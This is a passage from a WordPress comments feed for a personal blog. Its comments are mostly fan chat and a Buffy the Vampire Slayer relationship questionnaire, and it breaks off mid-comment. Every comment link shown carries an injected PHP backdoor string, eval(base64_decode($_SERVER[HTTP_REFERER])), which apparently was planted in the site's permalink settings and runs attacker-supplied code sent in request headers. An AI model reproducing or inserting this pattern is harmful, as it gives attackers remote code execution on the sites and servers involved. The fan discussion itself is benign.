Comments for Barb C's Journal http://sleepingjaguars.com In which I talk a great deal about nothing in particular Fri, 18 May 2012 14:11:05 +0000 http://wordpress.org/?v=2.5 Comment on Trying out the new graphics tablet by Riccadonna http://sleepingjaguars.com/2008/05/11/trying-out-the-new-graphics-tablet/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4596 Riccadonna Tue, 17 Jun 2008 08:49:50 +0000 http://sleepingjaguars.com/?p=1215#comment-4596 I hadn't seen these before either! Maybe I've been clicking something wrong. These portraits are beautiful, and especially I liked the game faced one. This graphic tablet lets you draw in a very natural way, I'm very envious! I hadn’t seen these before either! Maybe I’ve been clicking something wrong. These portraits are beautiful, and especially I liked the game faced one. This graphic tablet lets you draw in a very natural way, I’m very envious!

]]> Comment on Drabble: What It Isn’t by Barb http://sleepingjaguars.com/2008/04/09/drabble-what-it-isnt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4545 Barb Sun, 15 Jun 2008 16:46:06 +0000 http://sleepingjaguars.com/?p=1201#comment-4545 Thanks! Thanks!

]]> Comment on Drabble: What It Isn’t by Brunettepet http://sleepingjaguars.com/2008/04/09/drabble-what-it-isnt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4298 Brunettepet Mon, 02 Jun 2008 18:05:35 +0000 http://sleepingjaguars.com/?p=1201#comment-4298 Definitely <i>not</i> a purr. That was just delicious. Thanks for that last mental image. I love the phrase "tame thunder." Definitely not a purr. That was just delicious. Thanks for that last mental image. I love the phrase “tame thunder.”

]]> Comment on When the revolution comes by Dianna http://sleepingjaguars.com/2008/05/26/when-the-revolution-comes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4188 Dianna Fri, 30 May 2008 03:33:28 +0000 http://sleepingjaguars.com/?p=1232#comment-4188 Sorry to be a pain. Am practically a Luddite, and not all of my answers were obvious on my first try. Spike/Buffy - Reason for shipping: Teh hot! Teh angst! Teh funny! Teh mortal enemy sex! Teh awesome potential for exploring the limits of free will and redemption! *All of the above Favorite character? *Spike Buffy Both Publically both, but secretly Spike Publically both, but secretly Buffy Season Buffy officially fell in love with Spike? Two Three Four Five Six *Seven (unfortunately) Never! She only loves Angel! Season Spike officially fell in love with Buffy? *Two (it’s easier to retconn things in than out, no?) Three Four Five Six Seven Never! It was all obsession! Season Buffy officially became a bitch? One Two Three Four Five Six Seven *Eight (comic) Have pretty much given up on comix. Why pay good money for something that will only upset me? Buffy was a bitch? Season when the writers officially Ruined Spike’s Character Forever? Two Three Four Five Six Seven AtS S5 A:AtF/S:AtF (comic) - am desperately trying to ignore this and pretending it doesn't matter. It only matters what I believe, right? *Spike’s character was ruined? Relationship Badness Blame: Spike’s fault? *Buffy’s fault? Yes, she was traumatized, but I have higher standards for the ensouled. So sue me. Mostly Spike’s fault, but he couldn’t help it because he had no soul? Mostly Buffy’s fault, but she couldn’t help it because she was suffering post-heaven trauma? Both Spike and Buffy’s fault? Marti Noxon’s fault? Who needs to grovel to whom? Are you kidding? Spike! It’s totally Buffy. Both of ‘em could use a good grovel if you ask me. *Forget the groveling, let’s go straight to the reunion sex. Yay! Reunion sex! Spike: Soul, Y/N? Yes No *Any way I can get him, baby. Good, bad, or indifferent, he’s my guy. Altho’ indifferent seems to be my favorite incarnation. Redemption, Y/N? *Brilliant character arc! But weird, since Spike ends up totally upstaging Buffy (IMO). Pathetic neutering of a great villain! Soulless redemption? Totally impossible within Jossverse canon, you serial-killer lover! *Chickenshit failure of vision on the part of the writers! What? S6 relationship? Hot! Sick and twisted! Dysfunctional, but providing a glimpse of potential now and then *Again, all of the above. Seeing Red? *Painful yet (I suppose) necessary character development Clumsily introduced plot device Marti Noxon working out her issues What is this “Seeing Red” of which you speak? S7 Spike? Weepy wimpire Mature, sensitive, New-Age Vamp *Deeply traumatized, but gradually regaining a sense of self. S7 relationship? Neutered, sparkless, and boring! Pure, chaste, true love, elevated above the concerns of the flesh! Still dysfunctional, but at least they weren’t hitting each other. Much. *Somewhere btwn the first two. Leave it to ME to take a character as sexy, playful and fun as Spike and make it so he can’t be any of those things. Mo-rons! The fade-to-black? They totally did it! They held each other and talked all night! They tried to do it, and it was weird and awkward and they ended up playing Go Fish instead! *I don’t like to think about it. “I love you?” Buffy meant every word! She loved him, but only as a friend! She meant it right then, but if he’d survived, she’d have gotten cold feet in the morning! She was lying to make him feel better! *As far as Joss was concerned, she meant it. Unfortunately, SMG didn’t have the luxury of ignoring s7 like he did. “No you don’t, but…” Spike meant every word He was totally lying so Buffy would leave *He meant every word, but it actually means the complete opposite of what it seems to mean! Sick Jossian attempt at humor (IMO). Unfortunately, James didn’t have the luxury of ignoring s7 like he did. James didn’t believe it, so neither did Spike. I do not blame James for the confusion (Joss, on the other hand….). AtS S5 Spike: Regressed to Neanderthal levels of rude, crude and stupid! Finally got his balls back, thank God! Suffered some shaky characterization early on, but rocked the casbah by the end of the season! *Seemingly regressed, but was once again found himself reluctantly becoming part of a group that was reluctant to have him. The Scoobies’ reluctance to have him made more sense, tho’. Buffy: Officially moved on, Y/N? Damn straight (coughcough) Never! She’s still secretly pining! *Officially as far as Joss is concerned. Not just from Angel and Spike in particular, but from vampires in general. It’s just more of Whedon’s metaphorical shite. Personally, I can’t imagine she wouldn’t pine for Spike. If you can pine for Riley, you can pine for anyone. Spike: Officially moved on, Y/N? Sure has Never! He’s still got it bad! *Officially, yes. Again, I think it’s crap. I don’t like the idea of him with Illyria. She had feelings for Wes and Gunn (thanks to Fred), but she wanted to keep Spike as a pet. He amuses her, but that’s about as far as it goes. Reason Spike never contacts Buffy post-Chosen: He really doesn’t believe she ever loved him He’s afraid he can’t live up to his hero’s exit, and she’ll reject him He wants her to live a normal life He’s too busy sucking Angel’s cock. *He did contact her off-stage, as is obviously demonstrated by his willingness to see her in TGIQ, and they’re having phone sex RIGHT NOW. In my dreams. Meta: he didn’t contact her ‘cuz it simply wasn’t on the agenda. Reason Buffy never contacts Spike post-Chosen? *She doesn’t know he’s alive. Duh! Altho' she might've found out, if she'd bothered to ask Andrew what was so funny about her dating The Immortal. What an idiot. She’s pissed off because he never called. Duh! She’s totally gay now, dude. Who tops whom? Buffy. Duh. Spike is love’s bitch! Spike. Duh. Balcony scene! *Can’t they take turns? Actually, would love to see him singing “You’re the Tops” for Buffy (with Lorne present, of course). Neither, because both of them are too busy sucking Angel’s cock. Claiming fics? Tres hot! CLAIMING IS TOTALLY NON-FUCKING-CANON, DAMMIT!!!! *Not interested Threesomes? Rowr! No way! Only if S/B is the strongest leg of the triangle! *Not interested Baby fics? Cutest evah! Saccharine tripe! *If they’re well done (like yours) Kinky shit? No! Now that Spike has a soul, they can only have sweet, tender Sara McLaughlin sex! *No kinkier than we got onscreen. Spanking! And then the oral sex! Break out the whips and chains, baby! Trust me, you don’t want to know. All human? I’ll take my OTP in any guise! No way! It’s just OCs with the character names slapped on! *Maybe, if they’re really well-done Canon-based AUs or missing scene fic? *Both! Gimme an AU epic any day! Missing scenes rule! Fluff? Hell yes! God no! *If it’s well done (like yours) Angst? They were made for it! *Got enough of that in canon, thanks. Altho' they wouldn't be them w/o it. Angel? Sucked in bed and never really loved Buffy! Was important to Buffy, but she’s moved on, whether she realizes it or not Is who Buffy’s really thinking about every time Spike porks her! Angel who? *Matters more to her (ditto Spike) for what he represents to her than for himself. Those ‘ships served a purpose (for Joss), and their purpose has been served. Hence, abandon ‘ship. Whether or not Buffy’s relationship with Suzuki (whatever) will prove to be anything more, I don’t know, and don’t particularly care. Riley? Sucked in bed! And was way too needy! And a wife-beater! And a drug addict! And… *Was a basically decent guy who couldn’t deal with Buffy’s tendency towards emotional isolation. Riley who? Drusilla? Sucked in bed and never really loved Spike! *Loved Spike the best she could, but was too broken to ever be an equal partner Drusilla who? Sorry to be a pain. Am practically a Luddite, and not all of my answers were obvious on my first try.
Spike/Buffy -

Reason for shipping:
Teh hot!
Teh angst!
Teh funny!
Teh mortal enemy sex!
Teh awesome potential for exploring the limits of free will and redemption!
*All of the above
Favorite character?
*Spike
Buffy
Both
Publically both, but secretly Spike
Publically both, but secretly Buffy
Season Buffy officially fell in love with Spike?
Two
Three
Four
Five
Six
*Seven (unfortunately)
Never! She only loves Angel!
Season Spike officially fell in love with Buffy?
*Two (it’s easier to retconn things in than out, no?)
Three
Four
Five
Six
Seven
Never! It was all obsession!
Season Buffy officially became a bitch?
One
Two
Three
Four
Five
Six
Seven
*Eight (comic) Have pretty much given up on comix. Why pay good money for something that will only upset me?
Buffy was a bitch?
Season when the writers officially Ruined Spike’s Character Forever?
Two
Three
Four
Five
Six
Seven
AtS S5
A:AtF/S:AtF (comic) - am desperately trying to ignore this and pretending it doesn’t matter. It only matters what I believe, right?
*Spike’s character was ruined?

Relationship Badness Blame:
Spike’s fault?
*Buffy’s fault? Yes, she was traumatized, but I have higher standards for the ensouled. So sue me.
Mostly Spike’s fault, but he couldn’t help it because he had no soul?
Mostly Buffy’s fault, but she couldn’t help it because she was suffering post-heaven trauma?
Both Spike and Buffy’s fault?
Marti Noxon’s fault?

Who needs to grovel to whom?
Are you kidding? Spike!
It’s totally Buffy.
Both of ‘em could use a good grovel if you ask me.
*Forget the groveling, let’s go straight to the reunion sex. Yay! Reunion sex!

Spike: Soul, Y/N?
Yes
No
*Any way I can get him, baby. Good, bad, or indifferent, he’s my guy. Altho’ indifferent seems to be my favorite incarnation.

Redemption, Y/N?
*Brilliant character arc! But weird, since Spike ends up totally upstaging Buffy (IMO).
Pathetic neutering of a great villain!

Soulless redemption?
Totally impossible within Jossverse canon, you serial-killer lover!
*Chickenshit failure of vision on the part of the writers!
What?
S6 relationship?
Hot!
Sick and twisted!
Dysfunctional, but providing a glimpse of potential now and then
*Again, all of the above.

Seeing Red?
*Painful yet (I suppose) necessary character development
Clumsily introduced plot device
Marti Noxon working out her issues
What is this “Seeing Red” of which you speak?
S7 Spike?
Weepy wimpire
Mature, sensitive, New-Age Vamp
*Deeply traumatized, but gradually regaining a sense of self.

S7 relationship?
Neutered, sparkless, and boring!
Pure, chaste, true love, elevated above the concerns of the flesh!
Still dysfunctional, but at least they weren’t hitting each other. Much.
*Somewhere btwn the first two. Leave it to ME to take a character as sexy, playful and fun as Spike and make it so he can’t be any of those things. Mo-rons!
The fade-to-black?
They totally did it!
They held each other and talked all night!
They tried to do it, and it was weird and awkward and they ended up playing Go Fish instead!
*I don’t like to think about it.
“I love you?”
Buffy meant every word!
She loved him, but only as a friend!
She meant it right then, but if he’d survived, she’d have gotten cold feet in the morning!
She was lying to make him feel better!
*As far as Joss was concerned, she meant it. Unfortunately, SMG didn’t have the luxury of ignoring s7 like he did.
“No you don’t, but…”
Spike meant every word
He was totally lying so Buffy would leave
*He meant every word, but it actually means the complete opposite of what it seems to mean! Sick Jossian attempt at humor (IMO). Unfortunately, James didn’t have the luxury of ignoring s7 like he did. James didn’t believe it, so neither did Spike. I do not blame James for the confusion (Joss, on the other hand….).
AtS S5 Spike:
Regressed to Neanderthal levels of rude, crude and stupid!
Finally got his balls back, thank God!
Suffered some shaky characterization early on, but rocked the casbah by the end of the season!
*Seemingly regressed, but was once again found himself reluctantly becoming part of a group that was reluctant to have him. The Scoobies’ reluctance to have him made more sense, tho’.

Buffy: Officially moved on, Y/N?
Damn straight (coughcough)
Never! She’s still secretly pining!
*Officially as far as Joss is concerned. Not just from Angel and Spike in particular, but from vampires in general. It’s just more of Whedon’s metaphorical shite. Personally, I can’t imagine she wouldn’t pine for Spike. If you can pine for Riley, you can pine for anyone.
Spike: Officially moved on, Y/N?
Sure has
Never! He’s still got it bad!
*Officially, yes. Again, I think it’s crap. I don’t like the idea of him with Illyria. She had feelings for Wes and Gunn (thanks to Fred), but she wanted to keep Spike as a pet. He amuses her, but that’s about as far as it goes.
Reason Spike never contacts Buffy post-Chosen:
He really doesn’t believe she ever loved him
He’s afraid he can’t live up to his hero’s exit, and she’ll reject him
He wants her to live a normal life
He’s too busy sucking Angel’s cock.
*He did contact her off-stage, as is obviously demonstrated by his willingness to see her in TGIQ, and they’re having phone sex RIGHT NOW. In my dreams. Meta: he didn’t contact her ‘cuz it simply wasn’t on the agenda.

Reason Buffy never contacts Spike post-Chosen?
*She doesn’t know he’s alive. Duh! Altho’ she might’ve found out, if she’d bothered to ask Andrew what was so funny about her dating The Immortal. What an idiot.
She’s pissed off because he never called. Duh!
She’s totally gay now, dude.
Who tops whom?
Buffy. Duh. Spike is love’s bitch!
Spike. Duh. Balcony scene!
*Can’t they take turns? Actually, would love to see him singing “You’re the Tops” for Buffy (with Lorne present, of course).
Neither, because both of them are too busy sucking Angel’s cock.

Claiming fics?
Tres hot!
CLAIMING IS TOTALLY NON-FUCKING-CANON, DAMMIT!!!!
*Not interested
Threesomes?
Rowr!
No way!
Only if S/B is the strongest leg of the triangle!
*Not interested
Baby fics?
Cutest evah!
Saccharine tripe!
*If they’re well done (like yours)
Kinky shit?
No! Now that Spike has a soul, they can only have sweet, tender Sara McLaughlin sex!
*No kinkier than we got onscreen. Spanking! And then the oral sex!
Break out the whips and chains, baby!
Trust me, you don’t want to know.

All human?
I’ll take my OTP in any guise!
No way! It’s just OCs with the character names slapped on!
*Maybe, if they’re really well-done

Canon-based AUs or missing scene fic?
*Both!
Gimme an AU epic any day!
Missing scenes rule!

Fluff?
Hell yes!
God no!
*If it’s well done (like yours)

Angst?
They were made for it!
*Got enough of that in canon, thanks. Altho’ they wouldn’t be them w/o it.
Angel?
Sucked in bed and never really loved Buffy!
Was important to Buffy, but she’s moved on, whether she realizes it or not
Is who Buffy’s really thinking about every time Spike porks her!
Angel who?
*Matters more to her (ditto Spike) for what he represents to her than for himself. Those ‘ships served a purpose (for Joss), and their purpose has been served. Hence, abandon ‘ship. Whether or not Buffy’s relationship with Suzuki (whatever) will prove to be anything more, I don’t know, and don’t particularly care.
Riley?
Sucked in bed! And was way too needy! And a wife-beater! And a drug addict! And…
*Was a basically decent guy who couldn’t deal with Buffy’s tendency towards emotional isolation.
Riley who?
Drusilla?
Sucked in bed and never really loved Spike!
*Loved Spike the best she could, but was too broken to ever be an equal partner
Drusilla who?

]]> Comment on When the revolution comes by Dianna http://sleepingjaguars.com/2008/05/26/when-the-revolution-comes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4187 Dianna Fri, 30 May 2008 02:58:13 +0000 http://sleepingjaguars.com/?p=1232#comment-4187 Spike/Buffy - Reason for shipping: Teh hot! Teh angst! Teh funny! Teh mortal enemy sex! Teh awesome potential for exploring the limits of free will and redemption! All of the above Favorite character? Spike Buffy Both Publically both, but secretly Spike Publically both, but secretly Buffy Season Buffy officially fell in love with Spike? Two Three Four Five Six Seven (unfortunately) Never! She only loves Angel! Season Spike officially fell in love with Buffy? Two (it’s easier to retconn things in than out, no?) Three Four Five Six Seven Never! It was all obsession! Season Buffy officially became a bitch? One Two Three Four Five Six Seven Eight (comic) Have pretty much given up on comix. Why pay good money for something that will only upset me? Buffy was a bitch? Season when the writers officially Ruined Spike’s Character Forever? Two Three Four Five Six Seven AtS S5 A:AtF/S:AtF (comic) Spike’s character was ruined? Relationship Badness Blame: Spike’s fault? Buffy’s fault? Yes, she was traumatized, but I have higher standards for the ensouled. So sue me. Mostly Spike’s fault, but he couldn’t help it because he had no soul? Mostly Buffy’s fault, but she couldn’t help it because she was suffering post-heaven trauma? Both Spike and Buffy’s fault? Marti Noxon’s fault? Who needs to grovel to whom? Are you kidding? Spike! It’s totally Buffy. Both of ‘em could use a good grovel if you ask me. Forget the groveling, let’s go straight to the reunion sex. Yay reunion sex! Spike: Soul, Y/N? Yes No Any way I can get him, baby. Good, bad, or indifferent, he’s my guy. Altho’ indifferent seems to be my favorite incarnation. Redemption, Y/N? Brilliant character arc! But weird, since Spike ends up totally upstaging Buffy (IMO). Pathetic neutering of a great villain! Soulless redemption? Totally impossible within Jossverse canon, you serial-killer lover! Chickenshit failure of vision on the part of the writers! What? S6 relationship? Hot! Sick and twisted! Dysfunctional, but providing a glimpse of potential now and then Again, all of the above. Seeing Red? Painful yet necessary character development Clumsily introduced plot device Marti Noxon working out her issues What is this “Seeing Red” of which you speak? S7 Spike? Weepy wimpire Mature, sensitive, New-Age Vamp Deeply traumatized, but gradually regaining a sense of self. S7 relationship? Neutered, sparkless, and boring! Pure, chaste, true love, elevated above the concerns of the flesh! Still dysfunctional, but at least they weren’t hitting each other. Much. Somewhere btwn the first two. Leave it to ME to take a character as sexy, playful and fun as Spike and make it so he can’t be any of those things. D’oh! The fade-to-black? They totally did it! They held each other and talked all night! They tried to do it, and it was weird and awkward and they ended up playing Go Fish instead! I don’t like to think about it. “I love you?” Buffy meant every word! She loved him, but only as a friend! She meant it right then, but if he’d survived, she’d have gotten cold feet in the morning! She was lying to make him feel better! As far as Joss was concerned, she meant it. Unfortunately, SMG didn’t have the luxury of ignoring s7 like he did. “No you don’t, but…” Spike meant every word He was totally lying so Buffy would leave He meant every word, but it actually means the complete opposite of what it seems to mean! Jossian attempt at humor (IMO). Unfortunately, James didn’t have the luxury of ignoring s7 like he did. James didn’t believe it, so neither did Spike. I do not blame James for the confusion (Joss, on the other hand....). AtS S5 Spike: Regressed to Neanderthal levels of rude, crude and stupid! Finally got his balls back, thank God! Suffered some shaky characterization early on, but rocked the casbah by the end of the season! Seemingly regressed, but was once again reluctantly becoming part of a group that was reluctant to have him. The Scoobies’ reluctance to have him made more sense, tho’. Buffy: Officially moved on, Y/N? Damn straight (coughcough) Never! She’s still secretly pining! Officially as far as Joss is concerned. Not just from Angel and Spike in particular, but from vampires in general. It’s just more of Whedon’s metaphorical shite. Personally, I can’t imagine she wouldn’t pine for Spike. If you can pine for Riley, you can pine for anyone. Spike: Officially moved on, Y/N? Sure has Never! He’s still got it bad! Officially, yes. Again, I think it’s crap. I don’t like the idea of him with Illyria. She had feelings for Wes and Gunn (thanks to Fred), but she wanted to keep Spike as a pet. He amuses her, but that’s about as far as it goes. Reason Spike never contacts Buffy post-Chosen: He really doesn’t believe she ever loved him He’s afraid he can’t live up to his hero’s exit, and she’ll reject him He wants her to live a normal life He’s too busy sucking Angel’s cock. He did contact her off-stage, as is obviously demonstrated by his willingness to see her in TGIQ, and they’re having phone sex RIGHT NOW. In my dreams. Meta: he didn’t contact her ‘cuz it simply wasn’t on the agenda. Reason Buffy never contacts Spike post-Chosen? She doesn’t know he’s alive. Duh! She’s pissed off because he never called. Duh! She’s totally gay now, dude. Who tops whom? Buffy. Duh. Spike is love’s bitch! Spike. Duh. Balcony scene! Can’t they take turns? Actually, would love to see him singing “You’re the Tops” for Buffy (with Lorne present, of course). Neither, because both of them are too busy sucking Angel’s cock. Claiming fics? Tres hot! CLAIMING IS TOTALLY NON-FUCKING-CANON, DAMMIT!!!! Not interested Threesomes? Rowr! No way! Only if S/B is the strongest leg of the triangle! Not interested Baby fics? Cutest evah! Saccharine tripe! If they’re well done (like yours) Kinky shit? No! Now that Spike has a soul, they can only have sweet, tender Sara McLaughlin sex! No kinkier than we got onscreen. Spanking! And then the oral sex! Break out the whips and chains, baby! Trust me, you don’t want to know. All human? I’ll take my OTP in any guise! No way! It’s just OCs with the character names slapped on! Maybe, if they’re really well-done Canon-based AUs or missing scene fic? Both! Gimme an AU epic any day! Missing scenes rule! Fluff? Hell yes! God no! If it’s well done (like yours) Angst? They were made for it! Got enough of that in canon, thanks Angel? Sucked in bed and never really loved Buffy! Was important to Buffy, but she’s moved on, whether she realizes it or not Is who Buffy’s really thinking about every time Spike porks her! Angel who? Matters more to her (ditto Spike) for what he represents to her than for himself. Those ‘ships served a purpose (for Joss), and their purpose has been served. Hence, abandon ‘ship. Whether or not Buffy’s relationship with Suzuki (whatever) will prove to be anything more, I don’t know, and don’t particularly care. Riley? Sucked in bed! And was way too needy! And a wife-beater! And a drug addict! And… Was a basically decent guy who couldn’t deal with Buffy’s tendency towards emotional isolation. Riley who? Drusilla? Sucked in bed and never really loved Spike! Loved Spike the best she could, but was too broken to ever be an equal partner Drusilla who? Spike/Buffy -

Reason for shipping:
Teh hot!
Teh angst!
Teh funny!
Teh mortal enemy sex!
Teh awesome potential for exploring the limits of free will and redemption!
All of the above
Favorite character?
Spike
Buffy
Both
Publically both, but secretly Spike
Publically both, but secretly Buffy
Season Buffy officially fell in love with Spike?
Two
Three
Four
Five
Six
Seven (unfortunately)
Never! She only loves Angel!
Season Spike officially fell in love with Buffy?
Two (it’s easier to retconn things in than out, no?)
Three
Four
Five
Six
Seven
Never! It was all obsession!
Season Buffy officially became a bitch?
One
Two
Three
Four
Five
Six
Seven
Eight (comic) Have pretty much given up on comix. Why pay good money for something that will only upset me?
Buffy was a bitch?
Season when the writers officially Ruined Spike’s Character Forever?
Two
Three
Four
Five
Six
Seven
AtS S5
A:AtF/S:AtF (comic)
Spike’s character was ruined?

Relationship Badness Blame:
Spike’s fault?
Buffy’s fault? Yes, she was traumatized, but I have higher standards for the ensouled. So sue me.
Mostly Spike’s fault, but he couldn’t help it because he had no soul?
Mostly Buffy’s fault, but she couldn’t help it because she was suffering post-heaven trauma?
Both Spike and Buffy’s fault?
Marti Noxon’s fault?

Who needs to grovel to whom?
Are you kidding? Spike!
It’s totally Buffy.
Both of ‘em could use a good grovel if you ask me.
Forget the groveling, let’s go straight to the reunion sex. Yay reunion sex!

Spike: Soul, Y/N?
Yes
No
Any way I can get him, baby. Good, bad, or indifferent, he’s my guy. Altho’ indifferent seems to be my favorite incarnation.

Redemption, Y/N?
Brilliant character arc! But weird, since Spike ends up totally upstaging Buffy (IMO).
Pathetic neutering of a great villain!

Soulless redemption?
Totally impossible within Jossverse canon, you serial-killer lover!
Chickenshit failure of vision on the part of the writers!
What?
S6 relationship?
Hot!
Sick and twisted!
Dysfunctional, but providing a glimpse of potential now and then
Again, all of the above.

Seeing Red?
Painful yet necessary character development
Clumsily introduced plot device
Marti Noxon working out her issues
What is this “Seeing Red” of which you speak?
S7 Spike?
Weepy wimpire
Mature, sensitive, New-Age Vamp
Deeply traumatized, but gradually regaining a sense of self.

S7 relationship?
Neutered, sparkless, and boring!
Pure, chaste, true love, elevated above the concerns of the flesh!
Still dysfunctional, but at least they weren’t hitting each other. Much.
Somewhere btwn the first two. Leave it to ME to take a character as sexy, playful and fun as Spike and make it so he can’t be any of those things. D’oh!
The fade-to-black?
They totally did it!
They held each other and talked all night!
They tried to do it, and it was weird and awkward and they ended up playing Go Fish instead!
I don’t like to think about it.
“I love you?”
Buffy meant every word!
She loved him, but only as a friend!
She meant it right then, but if he’d survived, she’d have gotten cold feet in the morning!
She was lying to make him feel better!
As far as Joss was concerned, she meant it. Unfortunately, SMG didn’t have the luxury of ignoring s7 like he did.
“No you don’t, but…”
Spike meant every word
He was totally lying so Buffy would leave
He meant every word, but it actually means the complete opposite of what it seems to mean! Jossian attempt at humor (IMO). Unfortunately, James didn’t have the luxury of ignoring s7 like he did. James didn’t believe it, so neither did Spike. I do not blame James for the confusion (Joss, on the other hand….).
AtS S5 Spike:
Regressed to Neanderthal levels of rude, crude and stupid!
Finally got his balls back, thank God!
Suffered some shaky characterization early on, but rocked the casbah by the end of the season!
Seemingly regressed, but was once again reluctantly becoming part of a group that was reluctant to have him. The Scoobies’ reluctance to have him made more sense, tho’.

Buffy: Officially moved on, Y/N?
Damn straight (coughcough)
Never! She’s still secretly pining!
Officially as far as Joss is concerned. Not just from Angel and Spike in particular, but from vampires in general. It’s just more of Whedon’s metaphorical shite. Personally, I can’t imagine she wouldn’t pine for Spike. If you can pine for Riley, you can pine for anyone.
Spike: Officially moved on, Y/N?
Sure has
Never! He’s still got it bad!
Officially, yes. Again, I think it’s crap. I don’t like the idea of him with Illyria. She had feelings for Wes and Gunn (thanks to Fred), but she wanted to keep Spike as a pet. He amuses her, but that’s about as far as it goes.
Reason Spike never contacts Buffy post-Chosen:
He really doesn’t believe she ever loved him
He’s afraid he can’t live up to his hero’s exit, and she’ll reject him
He wants her to live a normal life
He’s too busy sucking Angel’s cock.
He did contact her off-stage, as is obviously demonstrated by his willingness to see her in TGIQ, and they’re having phone sex RIGHT NOW. In my dreams. Meta: he didn’t contact her ‘cuz it simply wasn’t on the agenda.

Reason Buffy never contacts Spike post-Chosen?
She doesn’t know he’s alive. Duh!
She’s pissed off because he never called. Duh!
She’s totally gay now, dude.
Who tops whom?
Buffy. Duh. Spike is love’s bitch!
Spike. Duh. Balcony scene!
Can’t they take turns? Actually, would love to see him singing “You’re the Tops” for Buffy (with Lorne present, of course).
Neither, because both of them are too busy sucking Angel’s cock.

Claiming fics?
Tres hot!
CLAIMING IS TOTALLY NON-FUCKING-CANON, DAMMIT!!!!
Not interested
Threesomes?
Rowr!
No way!
Only if S/B is the strongest leg of the triangle!
Not interested
Baby fics?
Cutest evah!
Saccharine tripe!
If they’re well done (like yours)
Kinky shit?
No! Now that Spike has a soul, they can only have sweet, tender Sara McLaughlin sex!
No kinkier than we got onscreen. Spanking! And then the oral sex!
Break out the whips and chains, baby!
Trust me, you don’t want to know.

All human?
I’ll take my OTP in any guise!
No way! It’s just OCs with the character names slapped on!
Maybe, if they’re really well-done

Canon-based AUs or missing scene fic?
Both!
Gimme an AU epic any day!
Missing scenes rule!

Fluff?
Hell yes!
God no!
If it’s well done (like yours)

Angst?
They were made for it!
Got enough of that in canon, thanks
Angel?
Sucked in bed and never really loved Buffy!
Was important to Buffy, but she’s moved on, whether she realizes it or not
Is who Buffy’s really thinking about every time Spike porks her!
Angel who?
Matters more to her (ditto Spike) for what he represents to her than for himself. Those ‘ships served a purpose (for Joss), and their purpose has been served. Hence, abandon ‘ship. Whether or not Buffy’s relationship with Suzuki (whatever) will prove to be anything more, I don’t know, and don’t particularly care.
Riley?
Sucked in bed! And was way too needy! And a wife-beater! And a drug addict! And…
Was a basically decent guy who couldn’t deal with Buffy’s tendency towards emotional isolation.
Riley who?
Drusilla?
Sucked in bed and never really loved Spike!
Loved Spike the best she could, but was too broken to ever be an equal partner
Drusilla who?

]]> Comment on When the revolution comes by Barb http://sleepingjaguars.com/2008/05/26/when-the-revolution-comes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4186 Barb Fri, 30 May 2008 02:42:34 +0000 http://sleepingjaguars.com/?p=1232#comment-4186 Poor Dru. No orphanages?! Poor Dru. No orphanages?!

]]> Comment on When the revolution comes by Selinde2 http://sleepingjaguars.com/2008/05/26/when-the-revolution-comes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4162 Selinde2 Wed, 28 May 2008 23:34:38 +0000 http://sleepingjaguars.com/?p=1232#comment-4162 Spike/Buffy - 1. Reason for shipping:<strong> Teh hot! 2. Teh angst! 3. Teh funny! 4. Teh mortal enemy sex! 5. Teh awesome potential for exploring the limits of free will and redemption!</strong> 1. Favorite character? Spike 2. Buffy 3. <strong>Both</strong> 4. Publically both, but secretly Spike 5. Publically both, but secretly Buffy Season Buffy officially fell in love with Spike? 1. Two 2. Three 3. Four 4. Five 5. <strong>Six</strong> 6. Seven 7. Never! She only loves Angel! 1. Season Spike officially fell in love with Buffy? Two 2. Three 3. Four 4. <strong>Five</strong> 5. Six 6. Seven 7. Never! It was all obsession! Season Buffy officially became a bitch? 1. One 2. Two 3. Three 4. Four 5. <strong>Five</strong> 6. Six 7. Seven 8. Eight (comic) 9. Buffy was a bitch? 1. Season when the writers officially Ruined Spike’s Character Forever? Two 2. Three 3. Four 4. Five 5. Six 6. Seven 7. AtS S5 8. A:AtF/S:AtF (comic) 9. <strong>Spike’s character was ruined?</strong> I never pay attention to that! 1. Relationship Badness Blame: Spike’s fault? 2. Buffy’s fault? 3. Mostly Spike’s fault, but he couldn’t help it because he had no soul? 4. Mostly Buffy’s fault, but she couldn’t help it because she was suffering post-heaven trauma? 5. Both Spike and Buffy’s fault? 6. <strong>Marti Noxon’s fault?</strong>Also, Joss. Because he knows we say we want fluff, but we get more interested when there is angst. So human. 1. Who needs to grovel to whom? Are you kidding? Spike! 2. It’s totally Buffy. 3. Both of ‘em could use a good grovel if you ask me. 4. <strong>Forget the groveling, let’s go straight to the reunion sex.</strong> 1. Spike: Soul, Y/N? Yes 2. No 3. <strong>Any way I can get him, baby</strong> 1. Redemption, Y/N? Brilliant character arc! 2. Pathetic neutering of a great villain! 3. <strong>Both of the above - if only they'd had a Plan</strong> 1. Soulless redemption? Totally impossible within Jossverse canon, you serial-killer lover! 2. <strong>Chickenshit failure of vision on the part of the writers!</strong> See above, re: Plan. 3. What? 1. S6 relationship? <strong>Hot!</strong> 2. Sick and twisted! 3. Dysfunctional, but providing a glimpse of potential now and then 1. Seeing Red? Painful yet necessary character development 2. <strong>Clumsily introduced plot device</strong> 3. Marti Noxon working out her issues 4. <strong>What is this “Seeing Red” of which you speak?</strong> What?! I'm allowed to be inconsistent too! 1. S7 Spike? Weepy wimpire 2. Mature, sensitive, New-Age Vamp 3. <strong>Deeply traumatized, but gradually regaining a sense of self</strong> 1. S7 relationship? Neutered, sparkless, and boring! 2. Pure, chaste, true love, elevated above the concerns of the flesh! 3. <strong>Still dysfunctional, but at least they weren’t hitting each other. Much.</strong> So, not so much with the hotness, alas. The fade-to-black? 1. <strong>They totally did it!</strong> 2. They held each other and talked all night! 3. 4. They tried to do it, and it was weird and awkward and they ended up playing Go Fish instead! 1. “I love you?” <strong>Buffy meant every word!</strong> 2. She loved him, but only as a friend! 3. She meant it right then, but if he’d survived, she’d have gotten cold feet in the morning! 4. She was lying to make him feel better! 1. “No you don’t, but…” Spike meant every word 2. <strong>He was totally lying so Buffy would leave</strong> 3. He meant every word, but it actually means the complete opposite of what it seems to mean! 1. AtS S5 Spike: Regressed to Neanderthal levels of rude, crude and 